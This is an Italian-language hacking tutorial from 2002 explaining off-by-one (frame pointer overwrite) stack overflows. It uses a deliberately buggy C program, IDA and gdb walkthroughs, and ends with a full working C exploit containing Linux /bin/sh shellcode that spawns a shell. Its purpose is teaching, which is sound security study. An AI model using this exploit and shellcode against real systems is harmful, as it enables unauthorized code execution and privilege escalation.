One Byte Overflow
(Exploitiamo un bufferino piccolo piccolo)

Data

by Quequero

 

21/07/2002

UIC's Home Page

Published by Quequero


Non serve prendersi pena per cio' che succedera' domani.

Qualche mio eventuale commento sul tutorial :)))

Frase di Nonno Ippei (aka Ippei Mihira, il nonno di Sampei) perche' a volte anche i cartoni giapponesi insegnano qualcosa.

....

Home page se presente: http://quequero.cjb.net
E-mail: quequero (at) bitchxt (dot) it
Canale: #crack-it e qualche altro :P su azzurranet

....

Difficoltà

( )NewBies ( )Intermedio (X)Avanzato ( )Master

 

Buffer overflow argomento oramai trito e ritrito? Sicuri? Se vi do un buffer sapete exploitarlo vero? Ma ne siete certi? :)


One Byte Overflow
Exploitiamo un bufferino piccolo piccolo
Written by Quequero

Introduzione

Oramai tutti quelli che masticano appena le basi della security sanno exploitare un normale buffer overflow, ma quanti lo sanno fare se il buffer e' grande 1 byte? Sicuramente in molti, ma se stai leggendo questo tutorial...Probabilmente no :)

Tools usati

gdb e basta :)

Essay

- Dottore dottore, ce l'ho piccolo che posso fare?
- Non e' la dimensione che conta, ma il modo un cui lo si utilizza!


1. Di cosa stiamo parlando?

C'e' qualcuno, qui tra noi, che ha qualcosa di piccolo....Molto piccolo, estremamente piccolo, tanto piccolo che piu' piccolo non si puo', dopo di lui c'e' il niente, lui e' l'entita' atomica dell'hacking, indivisibile (forse), non solubile in acqua e allergico al pane fatto in casa...Quella cosa potresti essere: TU!!!
Si tu, piccolo e inutile buffer...Quanti di voi si sono chiesti perche' in Pascal si iniziava a contare da 1 e col C si e' iniziato a contare da 0???
Ma e' ovvio...Per rendere piu' divertente il mondo della security, altrimenti non ci rimaneva niente su cui diventar ciechi a forza di leggere piccoli sorgenti di piccoli programmi con piccoli buffer rotti.
Mi pare ovvio che per andare avanti a leggere questo articolo serva quantomeno una conoscenza dei normali Buffer Overflow che per motivi di spazio evitero' accuratamente di riassumere all'interno di questo articolo :)
In sostanza cos'e' un:
1. One Byte Overflow
2. Null Poison Byte Overflow
3. Off By One Overflow
4. Frame Pointer Overwrite
5. Piccoli Peni Crescono Overflow

Queste son le 5 nomenclature standard conosciute per indicare lo stesso tipo di vulnerabilita', ovvero: Overflow di un solo byte...
Come tutti ben saprete, per eseguire un Buffer Overflow, abbiamo bisogno, guardacaso, di un buffer, poi di un programma scritto male e quindi dello spazio necessario per sovrascrivere il ret e inserire lo shellcode. Ma se l'overflow e' di un solo byte, come cavolo ce le infiliamo tutte queste info dentro?
Qualcuno diceva che era impossibile, altri che non era applicabile nella vita reale, qualcun altro (il grande Klog): che invece si poteva fare ma che era sostanzialmente una vulnerabilita' teorica senza probabili riscontri...
Ma la natura ci ha insegnato che dentro un buco piccolo come un limone puo' entrare (ed uscire) una cosa grande come un cocomero, percio' i piu' grandi della scena si misero al lavoro per dimostrare al mondo che i "One Byte Overflow" erano utilizzabili senza (quasi) alcun problema....E se lo hanno fatto loro perche' non possiamo farlo noi?


2. Come si presenta un One Byte Overflow?

Prendiamo come esempio questo semplice programma:

void overflow(char *string);

int main(int argv, char *argc[]){
overflow(argc[1]);
}

void overflow(char *string){
char buffer[112];
int i;
for(i=0; i<=112; i++)
buffer[i] = string[i];

}


Piu' piccolo di cosi' proprio non potevo...Bene, analizziamolo a fondo :P

char buffer[112]; // Il buffer da Overfloware
int i; // Contatore per il for

for(i=0; i<=112; i++) // Il for che riempie il buffer
buffer[i] = string[i]; // Copiamo in buffer gli argomenti passati al prog...

Compiliamolo ed eseguiamolo:
quequero@panther:~$ gcc -v | grep version
gcc version 3.1
quequero@panther:~$ gcc one.c -o one -mpreferred-stack-boundary=2
quequero@panther:~$ ./one Io_Sono_Quequola_E_Tu?
Segmentation Fault

Perfetto...Si lo so che segfaulta appunto e' buon segno :)
Spendiamo un paio di parole sulla compilazione...Perche' ho usato l'opzione -mpreferred-stack-boundary=2?
Perche' cosi il codice viene allineato a 4 byte, ma perche' ho usato 112 come grandezza del buffer?
Perche 112+4 fa 116 che e' gia allineato a 4 byte altrimenti il compilatore avrebbe allocato piu' spazio ed eseguire l'overflow sarebbe stato impossibile...Ecco tutto :)
Cosa succede di insolito? Beh in C/C++ fare un:

char buffer[112];

significa allocare staticamente 112 byte che:

1. NON vanno da 0 a 112
2. NE da 1 a 112
3. MA da 0 a 111

Quindi scrivere in buffer[112] vuol dire andare fuori del buffer, eggia' perche' l'ultimo byte a nostra disposizione dovrebbe essere buffer[111] che a dirla tutta dovrebbe terminare il buffer e quindi essere settato a 0. Ma il `for' contenuto all'interno del programma ci mostra che il buffer viene utilizzato fino a buffer[112]:


for(i=0; i<=112; i++)
buffer[i] = string[i]; // Riempi da buffer[0] a buffer[112]

Bello vero? Abbiamo un byte tutto nostro con cui giocare :) e cosa ci facciamo???


3. Per imparare l'hacking serve il reversing?

Secondo me e' consigliato anche perche' conoscere lo stack e l'assembly e' importantissimo sia per fare uno shellcode che per capire come funzionano buona parte degli exploit sulle relative vulnerabilita'.
Ed infatti chi ha dimistichezza con l'asm adesso si trovera' molto piu' a proprio agio, infatti: it's time to disassemble :)
Bene, per vostra fortuna NON usero' GDB per due validi motivi:
1. lo reputo un ottimo debugger ma ostico come la tundra siberiana
2. DETESTO sotto tutti i punti di vista la sintassi AT&T
Ora le vostre opinioni e idee saranno pure diverse dalle mie ma l'art lo scrivo io e decido io come disassemblare :) e poi: de gustibus non est disputandum e questo e' sacro :P...bene, usero' IDA che e' di gran lunga il miglior disassembler esistente su questa terra e sopratutto ci presenta il listato in sintassi INTEL che e' assolutamente snella e priva di qualunque cosa che possa confondervi, se non la conoscete tenete presente che cambia sostanzialmente una cosa:

AT&T: mov a, b = mov A dentro B
INTEL: mov a, b = mov B dentro A

il resto e' assolutamente chiaro....
Bene compiliamo il nostro programma e passiamolo sotto IDA, quindi esaminiamo il proggy partendo dal main():

.text:08048440 main proc near
.text:08048440
.text:08048440 var_4 = dword ptr -4
.text:08048440 arg_4 = dword ptr 0Ch
.text:08048440
.text:08048440 push ebp
.text:08048441 mov ebp, esp
.text:08048443 sub esp, 4
.text:08048446 mov eax, [ebp+arg_4]
.text:08048449 add eax, 4
.text:0804844C mov eax, [eax]
.text:0804844E mov [esp+4+var_4], eax ; argc[1]
.text:08048451 call overflow ; overflow(argc[1])
.text:08048456 leave
.text:08048457 retn
.text:08048457 main endp


niente di particolarmente interessante, main() si aggiusta lo stack e poi chiama la funzione overflow con il relativo parametro, quindi esaminiamo la funzione overflow:

.text:08048458 overflow proc near
.text:08048458
.text:08048458 i = dword ptr -74h
.text:08048458 buffer = byte ptr -70h
.text:08048458 arg_0 = dword ptr 8
.text:08048458
.text:08048458 push ebp
.text:08048459 mov ebp, esp
.text:0804845B sub esp, 74h ; 74h = 116 ovvero 112 per il buf e 4 per l'int i
.text:0804845E mov [ebp+i], 0
.text:08048465
.text:08048465 for:
.text:08048465 cmp [ebp+i], 70h ; for(int i=0; i<=112; i++)
.text:08048469 jle short loop ; if (i<= 112) goto loop
.text:0804846B jmp short exit ; else goto exit
.text:0804846D ; ---------------------------------------------------------------------------
.text:0804846D
.text:0804846D loop:
.text:0804846D lea eax, [ebp+buffer] ; eax = offset buffer
.text:08048470 mov edx, eax
.text:08048472 add edx, [ebp+i] ; buffer[i]
.text:08048475 mov eax, [ebp+i] ; eax = buffer[i]
.text:08048478 add eax, [ebp+arg_0]
.text:0804847B movzx eax, byte ptr [eax]
.text:0804847E mov [edx], al ; buffer[i] = string[i]
.text:08048480 lea eax, [ebp+i]
.text:08048483 inc dword ptr [eax]
.text:08048485 jmp short for
.text:08048487 ; ---------------------------------------------------------------------------
.text:08048487
.text:08048487 exit:
.text:08048487 leave
.text:08048488 retn
.text:08048488 overflow endp


Ve la pasto tutta per comodita' ma a noi interessa ben poco, come vedete ho rinominato un po' di variabili per farvi capire il codice con piu' facilita' ma ecco comunque il sunto della funzione:

.text:08048458 i = dword ptr -74h
.text:08048458 buffer = byte ptr -70h
.text:08048458 arg_0 = dword ptr 8
.text:08048458
.text:08048458 push ebp
.text:08048459 mov ebp, esp
.text:0804845B sub esp, 74h
---- snip ----
.text:08048487 leave
.text:08048488 retn

Questo snip e' tutto quello che ci interessa, esaminiamo le prime tre istruzioni:

.text:08048458 push ebp
.text:08048459 mov ebp, esp ; Attiviamo un nuovo Frame
.text:0804845B sub esp, 74h ; Facciamo spazio per tutte le variabili usate dalla funzione

queste istruzioni servono a creare un nuovo frame all'interno della chiamata, in pratica date uno sguardo a questa
istruzione:

.text:08048451 call overflow

Appena il processore arriva sulla call salva l'eip sullo stack (l'eip e' un registro che assume sempre il valore della prossima istruzione, serve ad indicare al processore quale riga eseguire dopo quella che ha appena processato) poi entra nella call e crea un nuovo frame per eseguire le istruzioni, in questo nuovo frame fa spazio per tutte le variabili statiche locali e poi alla fine della call arriva al ret:

.text:08048488 retn

il ret (retn sta per Return Near) cosa fa...Sostanzialmente prende l'eip dallo stack e ci fa un jump, in questo modo riporta l'esecuzione alla riga appena successiva la call.
Poi vediamo un'altra istruzione prima del ret, ovvero: leave, questa sara' fondamentale per il nostro studio, leave e' da poco utilizzata, i compilatori di prima sistemavano lo stack a mano, poi si sono resi conto che leave lo faceva per loro, ora gli manca solo di scoprire che esiste anche enter, cosi forse nel gcc 6 le troveremo tutte e due :PPP (skerzo in realta' non era stato introdotto prima per compatibilita', comunque non capisco perche' usano leave e non enter....)
Bene, come potete vedere, le prime righe all'interno della call sistemano lo stack e creano il nuovo frame, solo che questo frame una volta usciti va cancellato per tornare nel frame precedente ed e' quello che fa leave, cioe', se non ci fosse leave sicuramente ci sarebbero queste due righe:

.text:08048487 mov esp,ebp
.text:08048489 pop ebp


4. Ecco in dettaglio come funziona una call


Meglio che vi faccia un esempio per chiarire tutti gli eventuali dubbi dal momento che e' importantissimo capire come funziona una call per studiare questo tipo di exploit, bene, guardate questo codice fittizio, dovrebbe servire a farvi capire:

00000001 nop ; qui l'EIP e' uguale a 00000002
00000002 call 00000013 ; ** Adesso l'EIP e' uguale a 00000007 e viene salvato sullo stack
; ** supponiamo che la nostra call faccia utilizzo di un int e basta (4 byte)
00000007 nop
00000008 jmp 0000000D ; Ho messo questo solo per esempio, l'EIP in questo caso e' 0000000D e non 0000000A
0000000A nop
0000000B nop
0000000C nop
0000000D ESCI ; Procedura fittizia di uscita
00000011 nop
00000012 nop
00000013 push ebp ; ** Eccoci nella call...Cosa succede, viene salvato il vecchio frame
00000014 mov ebp, esp ; ...quindi viene creato il frame nuovo...
00000016 sub esp, 0x4 ; ...e gli vengono assegnati 4 byte (per il nostro intero) da utilizzare
00000018 INCREMENTA_L'INTERO ; Qui la funzione fa qualcosa che non ci interessa...
0000002A mov esp, ebp ; ...e prima di uscire viene sistemato il frame...
0000002C pop ebp ; ...viene restorato quello vecchio...
0000002D ret ; ...e viene recuparato l'EIP dallo stack, quindi viene fatto un jump al vecchio
; EIP ovvero 00000007

Nessuno ci vieta pero' di utilizzare altre forme EQUIVALENTI per la creazione del nostro frame e l'uscita, ecco alcuni esempi:

00000013 enter 4,1 ; Questo vuol dire: alloca 4 byte, 1 e' il livello in cui si trova la call
00000018 INCREMENTA_L'INTERO
0000002A mov esp, ebp
0000002C pop ebp
0000002D ret

Anche questo sarebbe identico:

00000013 enter 4,1 ; Questo vuol dire: alloca 4 byte, 1 e' il livello in cui si trova la call
00000018 INCREMENTA_L'INTERO
0000002A leave ; equivalente a mov esp, ebp | pop ebp
0000002B ret

E nessuno ci vieta di combinare le due cose, ad esempio, usare leave ma non enter o viceversa, infatti a quanto ho visto, il gcc 3.1 utilizza leave per l'uscita dalle chiamate ma sistema lo stack senza usare enter (a noi sarebbe comodo che facesse il contrario ;p mentre a livello di ottimizzazione sarebbe meglio se usasse sia enter che leave).


5. Finalmente e` giunta la stagione degli amori....Molestiamo lo stack!


Adesso guardate il codice, ricordatevi che lo stack lavora al contrario (cresce verso valori numericamente minori) ed e' un LIFO (Last In First Out)...


int main(int argv, char *argc[]){
overflow(argc[1]); 1. Salviamo l'EIP sullo stack
}

void overflow(char *string){ 2. Salviamo EBP
char buffer[112]; 3. Adesso parte il buffer, l'ultimo byte sta sotto a EBP
int i; 4. L'intero i

for(i=0; i<=112; i++)
buffer[i] = string[i];
}


Ora potete intuire cosa succede :), immaginate lo stack nel momento in cui ci troviamo qui:

main()
.text:0804844C mov eax, [eax]
.text:0804844E mov [esp+4+var_4], eax ; argc[1]
.text:08048451 call overflow

overflow()
.text:08048458 push ebp ; <- Siamo Qui!
.text:08048459 mov ebp, esp
.text:0804845B sub esp, 74h
.text:0804845E mov [ebp+i], 0

La memoria sara' piu' o meno cosi:

[EIP per il RET ] // main()
[EBP per il Frame] // overflow()
[Buffer 111 ] // overflow()
[Buffer 50 ] // overflow()
[Buffer 0 ] // overflow()
[int i ] // overflow()

Ora e' abbastanza chiaro, immaginiamo di overfloware il nostro buffer, cosa andiamo a sovrascrivere?? Gia', proprio lui, EBP, a dire il vero non e' esattamente immediata l'utilita' di questo overflow...Perche' se guardate la fine della chiamata sapete che EBP viene recuperato dallo stack quindi c'e' il ret, ma siccome l'EIP non viene toccato non possiamo fare nulla...Non esattamente, cerchiamo di guardare il codice in maniera leggermente differente da come ce lo propone il disassembler e vediamo di capire come sfruttare questo byte...

main().text:0804844E mov [esp+4+var_4], eax
main().text:08048451 call overflow {1}

overflow().text:08048458 push ebp {2}
overflow().text:08048459 mov ebp, esp
overflow().text:08048487 leave {3}
overflow().text:08048488 retn

main().text:08048456 leave {4}
main().text:08048457 retn

Ok ho spostato il codice per farvi capire meglio, ovviamente la funzione overflow() non e' stata riportata per intero.
La situazione e' questa...All'indirizzo 0x08048451 salviamo l'EIP (che punta a 0x08048456) sullo stack {1}, entriamo quindi nella chiamata e salviamo EBP {2}, facciamo le nostre cose e prima di uscire il leave {3} salva EBP dentro ESP e recupera EBP che aveva salvato in {2}...
Cambiando l'ultimo byte di EBP succede che arrivati alla fine della chiamata, quando leave esegue il "pop ebp" ritroviamo dentro EBP il valore con l'ultimo byte cambiato...A questo punto il ret ci riporta dentro main(), precisamente in {4}, dentro EBP abbiamo il nostro valore con l'ultimo byte cambiato, troviamo quindi il secondo leave {4} che serve a sistemare lo stack per farci uscire da main(), ma leave salva EBP (cambiato) dentro ESP quindi il main() ritorna dove non dovrebbe, per chiarire meglio il discorso vi traduco leave nelle istruzioni che riassume, guardate:


main().text:080484xx mov [esp+4+var_4], eax
main().text:080484xx call overflow

overflow().text:080484xx push ebp {1}
overflow().text:080484xx mov ebp, esp {2}
.... la funzione fa le sue cose....
overflow().text:080484xx mov esp, ebp ; ecco il leave...
overflow().text:080484xx pop ebp ; ...qui termina {3}
overflow().text:080484xx retn

main().text:080484xx mov esp, ebp {4}
main().text:080484xx pop ebp
main().text:080484xx retn {5}


Immaginate adesso di trovarvi in {1}, salviamo EBP quindi lo stack contiene il valore di EBP, {2} crea quindi il nuovo frame, ma ci interessa poco...Durante la funzione noi andiamo a sovrascrivere l'ultimo byte di EBP che sta salvato nello stack, se avete capito fin qui ce l'avete quasi fatta...Di seguito alla fine della funzione ovvero in {3} recuperiamo dallo stack il nostro EBP con l'ultimo byte cambiato, se avviamo il programma in questo modo:

quequero@panther:~$ ./one AAAAAAA....AAAAA (112 'A' o +)

vediamo che in {3} EBP e' uguale a:

(gdb) info reg ebp
ebp 0xbffff941 0xbffff941

Ed in effetti il codice ASCII della 'A' e' 0x41 quindi l'ultimo byte e' stato davvero sovrascritto.
A questo punto la funzione ritorna, ci ritroviamo in {4} e qui succede tutto cio' che serve, ovvero EBP viene salvato nello stack e quindi il ret che si trova in {5} ritornera' nel posto sbagliato...Logicamente dopo {4} l'utimo byte di ESP non sara' piu' 0x41 bensi 0x45 ovvero 0x41+4 proprio perche' viene fatto un pop prima di ritornare....
Vi consiglio di fare l'occhio con i leave perche' i compilatori oramai tendono ad usare questo operatore al posto della vecchia catena di istruzioni che e' piu' lenta...Quindi se avete capito come funziona il Frame Pointer Overwrite con il leave siete a cavallo perche' il resto e' discretamente piu' semplice :)


6. Lo stack e' stato molestato a sufficienza, facciamogli partorire una shell

Adesso sappiamo trovare un OneByte Overflow, sappiamo vedere cosa sovrascrive ma non sappiamo ancora exploitarlo ed e' proprio questo che cercheremo di fare....Exploitare una vulnerabilita' di questo genere. Ma come si fa ad utilizzare un solo byte? Sappiamo che la funzione crasha perche' ritorna nel posto sbagliato, allora perche' non fare in modo di farla ritornare in un posto dove ci e' concessa la scrittura e quindi trasformare questa bestiolina nera in un semplice buffer overflow?
Cosi facendo ci basterebbe creare uno shellcode normale, riempire il buffer in modo appropriato e quindi zack...Beccarci l'oramai agognato # :P
Il buffer andrebbe riempito con un ordine preciso...L'ideale sarebbe metterci:

1. Lo shellcode
2. Un puntatore allo shellcode
3. Il nostro byte che dobbiamo scoprire che valore deve avere

Abbiamo 112 byte a disposizione, diciamo che una cinquantina li spendiamo per lo shellcode, altri 4 per il puntatori, uno per il byte da sovrascrivere...Con i restanti che ci facciamo? Beh sarebbe una bella idea mettere qualche NOP prima dello shellcode tanto per aumentare le nostre chance di successo :)
Soltanto che non possiamo andare cosi' a cavolo, dobbiamo scoprire un paio di dati come ad esempio: dove inizia il nostro buffer, cosi tanto per renderci conto di come comportarci. Beh scoprire dove comincia e' abbastanza semplice, entriamo in gdb e appena la funzione fa spazio ai nostri 112+4 byte guardiamo lo stack...

quequero@panther:~$ gdb one
(gdb) disass overflow
Dump of assembler code for function overflow:
0x8048458 <overflow>: push %ebp
0x8048459 <overflow+1>: mov %esp,%ebp
0x804845b <overflow+3>: sub $0x74,%esp
0x804845e <overflow+6>: movl $0x0,0xffffff8c(%ebp) ; brekiamo qui per vedere dove sta il buffer
0x8048465 <overflow+13>: cmpl $0x70,0xffffff8c(%ebp)
0x8048469 <overflow+17>: jle 0x804846d <overflow+21>
0x804846b <overflow+19>: jmp 0x8048487 <overflow+47>
0x804846d <overflow+21>: lea 0xffffff90(%ebp),%eax
0x8048470 <overflow+24>: mov %eax,%edx
0x8048472 <overflow+26>: add 0xffffff8c(%ebp),%edx
0x8048475 <overflow+29>: mov 0xffffff8c(%ebp),%eax
0x8048478 <overflow+32>: add 0x8(%ebp),%eax
0x804847b <overflow+35>: movzbl (%eax),%eax
0x804847e <overflow+38>: mov %al,(%edx)
0x8048480 <overflow+40>: lea 0xffffff8c(%ebp),%eax
0x8048483 <overflow+43>: incl (%eax)
0x8048485 <overflow+45>: jmp 0x8048465 <overflow+13>
0x8048487 <overflow+47>: leave ; e qui per vedere se abbiamo visto giusto
0x8048488 <overflow+48>: ret


(gdb) break *0x804845e <- Primo break
Breakpoint 1 at 0x804845e
(gdb) break *0x8048487 <- Secondo break
Breakpoint 2 at 0x8048487
(gdb) run AAAAAAAAAAAA....AAAAAAAAAAAAAAAAAAAA <- Runniamo il prog con piu di 112 A
Breakpoint 1, 0x804845e in overflow ()
(gdb) info reg esp <- E zack! esaminiamo lo stack
esp 0xbffff8fc 0xbffff8fc

A quanto pare il nostro buffer si trova all'indirizzo 0xbffff8fc, sicuri che non ci scordiamo nulla? Beh in realta' si trova al nostro indirizzo +4, non ci scordiamo l'int i :)
Quindi continuiamo e vediamo se a 0xbffff900 troviamo tante belle 'A':

(gdb) c
Continuing.

Breakpoint 2, 0x8048487 in overflow ()

(gdb) x/4 0xbffff900 <- Esaminiamo lo stack al secondo break
0xbffff900: 0x41414141 0x41414141 0x41414141 0x41414141

Beh a quanto pare abbiamo visto giusto, lo stack e' pieno di 0x41 (vi ricordo che il codice ASCII della 'A' e' 0x41) quindi il nostro buffer comincia a questo indirizzo :)
Quindi abbiamo gia' un dato per sferrare il nostro attacco, ovvero l'indirizzo 0xbffff900 (variabile logicamente da pc a pc), adesso il nostro penultimo dato ovvero il posto in cui piazzare il puntatore allo shellcode, ma questo e' davvero facile dal momento che andra' messo in fondo, quindi l'indirizzo sara' 0xbffff900 + 112 (ovvero 0x70 cioe' la grandezza del nostro buffer) - 4 che e' la dimensione del puntatore stesso :) quindi:

Indirizzo del puntatore = 0xbffff900 + 0x70 - 0x4 = 0xbffff96c

E l'ultimo che sara' il byte col quale dovremo sovrascrivere EBP...Che valore usiamo? Visto che vogliamo far tornare il nostro codice in mezzo al buffer allora prendiamo l'indirizzo del puntatore ed usiamo quello, quindi:

Byte che sovrascrivera' EBP = 0xbffff96c ma a noi interessa solo l'ultimo ovvero 0x6c, ma cosi non va bene, vi ricordate che all'uscita di overflow() trovavamo l'ultimo byte che era 0x45 invece di 0x41? Gia', veniva incrementato dal leave, ma non e' affatto un problema dal momento che ci bastera' sottrarre 4 per ottenere il giusto valore: 0x6c - 0x4 = 0x68
Bene, riassumiamo tutti i dati a nostra disposizione:

Indirizzo del buffer = 0xbffff900
Indirizzo del puntatore = 0xbffff96c
Ultimo byte del buffer = 0x68

In sostanza abbiamo tutto, ci basta giusto la pass di root :P ma tra poco non ci servira' nemmeno quella :P
L'exploit e' semplicissimo da realizzare anche perche' e' un semplice BoF comunque dovrete debuggare il programma sulla vostra box ed aggiustare i vari indirizzi, l'importante e' che abbiate capito come funziona questo tipo di vulnerabilita' anche perche' exploitarla diventa una cosa abbastanza immediata....
Non dobbiamo far altro che costruire il buffer normalmente ma alla fine dobbiamo aggiungere il byte col quale vogliamo sovrascrivere EBP (in questo caso 0x68), quindi il nostro pargolo sara' cosi:
[shellcode][puntatore allo shellcode][0x68] e se ci avanza spazio mettiamo qualche nop in modo da aver piu' chance di riuscita (come gia detto poco sopra), quindi:

[nop...nop...nop][shellcode][puntatore allo shellcode][0x68]

Ecco il codice per l'exploit, rippato direttamente dall'articolo di klog perche' e' scritto nel modo piu' semplice possibile quindi e' inutile che vi presenti qualcosa di piu' contorto (leggermente editato per fittare i nostri bisogni :P [che in inglese diventa: slightly edited to fit our needs :P]):


#include <stdio.h>
#include <unistd.h>

char sc_linux[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";

main()
{
int i, j;
char buffer[448];

bzero(&buffer, 448);
for (i=0;i<=(90-sizeof(sc_linux));i++)
{
buffer[i] = 0x90;
}
for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++)
{
buffer[i] = sc_linux[j];
}
buffer[i++] = 0x10; /* Va guessato ma potete variarlo, i nop ci sono apposta
buffer[i++] = 0xf9; * Indirizzo del buffer
buffer[i++] = 0xff; * Indirizzo del buffer
buffer[i++] = 0xbf; */
buffer[i++] = 0x68; // Il nostro byte col quale sovrascriveremo EBP

execl("./one", "one", buffer, NULL);

}

quequero@panther:~$ gcc expl.c -o expl
quequero@panther:~$ ./expl
bash-2.05$

Worka :) non vi nascondo che non e' stato affatto banale farlo andare ma alla fine va ed e' questo che ci interessa, magari avrete qualcosa da aggiustare ma non sara' difficile...
Succede che EBP viene sovrascritto e quando ci troviamo sul ret del main() nello stack dovremmo avere l'indirizzo dove si trova il nostro allegro buffer :)....In questo modo il main() ritorna nel buffer, esegue lo shellcode e ole...Abbiamo la nostra allegrissima shell :).
Come avete visto il concetto all'inizio e' un po' ostico ma poi diventa abbastanza semplice capire quello che succede perche' in fondo e' un normale buffer overflow, niente di piu' :).

Concludendo possiamo dire che questo tipo di vulnerabilita' non e' sempre immediato da vedere (ricordate ad esempio il channell_lookup dell'ssh quello era tutt'altro che facile da trovare) anche se spesso spulciando i for potete capire con facilita' se il buffer viene usato bene o male, exploitare queste vulnerabilita' non e' difficilissimo anche perche' possiamo aiutarci con qualche piccolo bruteforce, la cosa da notare e' che non sempre in presenza di un Null Poison possiamo exploitare, molto dipende dal compilatore perche' se padda il codice allora l'exploit diventa impossibile ma anche se vengono allocati altri buffer oltre a quello vulnerabile non e' detto che il programma sia exploitabile, vuol dire che un po' di debugging va fatto comunque :).
E per oggi...E' tutto :)


-=Quequero=-
quequero (at) bitchx (dot) it
http://quequero.cjb.net

Note finali

Thanx To ( sort(buffer); rand(buffer); ):

klog: visto che il tute ha preso spunto dal suo
AndreaGeddon: perche' e' stato lui che ha riacceso le polemiche e non c'aveva capito na sega (come al solito hihih)
N0body88: che e' il mio bro e guai a chi lo tocca
Vinx2o2o: che e' l'altro mio bro e gli voglio bene
Khuma: perche' e' talmente tenera che si taglia con un grissino ma non glielo dite che vuole sembrare cattiva...Shhh :P
Mayhem: che e' mayo e questo basta e avanza
Brigante: che e' over the top e non potrei non volergli bene anche perche' ci vivrei in simbiosi
Briga^2: che e' un tipo che ho abbracciato all'hackmeet pensando che fosse briga e ancora mi prende per il culo :)
Fen0x: perche' si sballa con un bicchiere di birra :P
Badcluste: perche' non lo conoscevo poi l'ho conosciuto ed e' grande :)
Smilzo: perche'? Non so perche', sono fatti miei! :P
Master: perche' e' il papa' didattico di tutti :)
Il Nonno: perche' va in puzza per ogni motivo
Lo zio: perche' e' una persona troppo grande dentro e troppo cotta fuori :)
Paolo: perche' vive nel suo tenero mondo elfico per 8 ore al giorno
UIC: perche' in linea di massima sono persone volenterose e poi devo a loro tanto tanto tanto
#crack-it: perche' e' un canale piu' speciale degli altri
-=Spp=-: perche' non siamo un gruppo, non siamo una crew, siamo dei fratelli ed e' una cosa che non esiste altrove

Tutti gli altri che ora non ho voglia di ricordare, ma davvero tutti, nessuno escluso :)


!(Thanx to):

Gli amici che sono lontani e non si possono incontrare per troppo tempo
I topi con la rabbia
Lo Stato
La monarchia anticostituzionale
I dittatori
I batteri maligni
I retovirus
La gente che runna i 7350 crittati col Burneye che si prendono i virus e poi scassano 'o cazzo
Tutto cio' che reprime la liberta' di espressione dell'individuo
Le persone bigotte

that's all folks

Disclaimer

Disclaimer? Naaa stavolta siamo nella legalita' totale :P